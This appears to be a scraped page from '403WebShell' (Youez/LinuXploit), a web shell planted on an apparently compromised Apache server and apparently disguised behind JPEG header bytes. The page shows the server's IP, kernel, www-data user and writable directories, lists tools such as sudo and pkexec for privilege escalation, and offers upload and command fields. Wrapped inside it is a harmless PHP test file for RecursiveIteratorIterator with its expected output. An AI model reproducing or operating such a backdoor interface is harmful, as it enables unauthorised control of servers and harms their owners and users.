????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.149.230.234
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/spl/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/spl/tests/bug42654.phpt
--TEST--
Bug #42654 (RecursiveIteratorIterator modifies only part of leaves)
--FILE--
<?php
$data = array(1 => 'val1',
              array(2 => 'val2',
                    array(3 => 'val3'),
                   ),
              4 => 'val4'
             );

$iterator = new RecursiveIteratorIterator(new
RecursiveArrayIterator($data));
foreach($iterator as $foo) {
    $key = $iterator->key();
    echo "update $key\n";
    var_dump($iterator->getInnerIterator());
    $iterator->offsetSet($key, 'alter');
    var_dump($iterator->getInnerIterator());
}
$copy = $iterator->getArrayCopy();
var_dump($copy);
?>
--EXPECTF--
update 1
object(RecursiveArrayIterator)#%d (1) {
  ["storage":"ArrayIterator":private]=>
  array(3) {
    [1]=>
    string(4) "val1"
    [2]=>
    array(2) {
      [2]=>
      string(4) "val2"
      [3]=>
      array(1) {
        [3]=>
        string(4) "val3"
      }
    }
    [4]=>
    string(4) "val4"
  }
}
object(RecursiveArrayIterator)#%d (1) {
  ["storage":"ArrayIterator":private]=>
  array(3) {
    [1]=>
    string(5) "alter"
    [2]=>
    array(2) {
      [2]=>
      string(4) "val2"
      [3]=>
      array(1) {
        [3]=>
        string(4) "val3"
      }
    }
    [4]=>
    string(4) "val4"
  }
}
update 2
object(RecursiveArrayIterator)#%d (1) {
  ["storage":"ArrayIterator":private]=>
  array(2) {
    [2]=>
    string(4) "val2"
    [3]=>
    array(1) {
      [3]=>
      string(4) "val3"
    }
  }
}
object(RecursiveArrayIterator)#%d (1) {
  ["storage":"ArrayIterator":private]=>
  array(2) {
    [2]=>
    string(5) "alter"
    [3]=>
    array(1) {
      [3]=>
      string(4) "val3"
    }
  }
}
update 3
object(RecursiveArrayIterator)#%d (1) {
  ["storage":"ArrayIterator":private]=>
  array(1) {
    [3]=>
    string(4) "val3"
  }
}
object(RecursiveArrayIterator)#%d (1) {
  ["storage":"ArrayIterator":private]=>
  array(1) {
    [3]=>
    string(5) "alter"
  }
}
update 4
object(RecursiveArrayIterator)#%d (1) {
  ["storage":"ArrayIterator":private]=>
  array(3) {
    [1]=>
    string(5) "alter"
    [2]=>
    array(2) {
      [2]=>
      string(4) "val2"
      [3]=>
      array(1) {
        [3]=>
        string(4) "val3"
      }
    }
    [4]=>
    string(4) "val4"
  }
}
object(RecursiveArrayIterator)#%d (1) {
  ["storage":"ArrayIterator":private]=>
  array(3) {
    [1]=>
    string(5) "alter"
    [2]=>
    array(2) {
      [2]=>
      string(4) "val2"
      [3]=>
      array(1) {
        [3]=>
        string(4) "val3"
      }
    }
    [4]=>
    string(5) "alter"
  }
}
array(3) {
  [1]=>
  string(5) "alter"
  [2]=>
  array(2) {
    [2]=>
    string(4) "val2"
    [3]=>
    array(1) {
      [3]=>
      string(4) "val3"
    }
  }
  [4]=>
  string(5) "alter"
}

Youez - 2016 - github.com/yon3zu
LinuXploit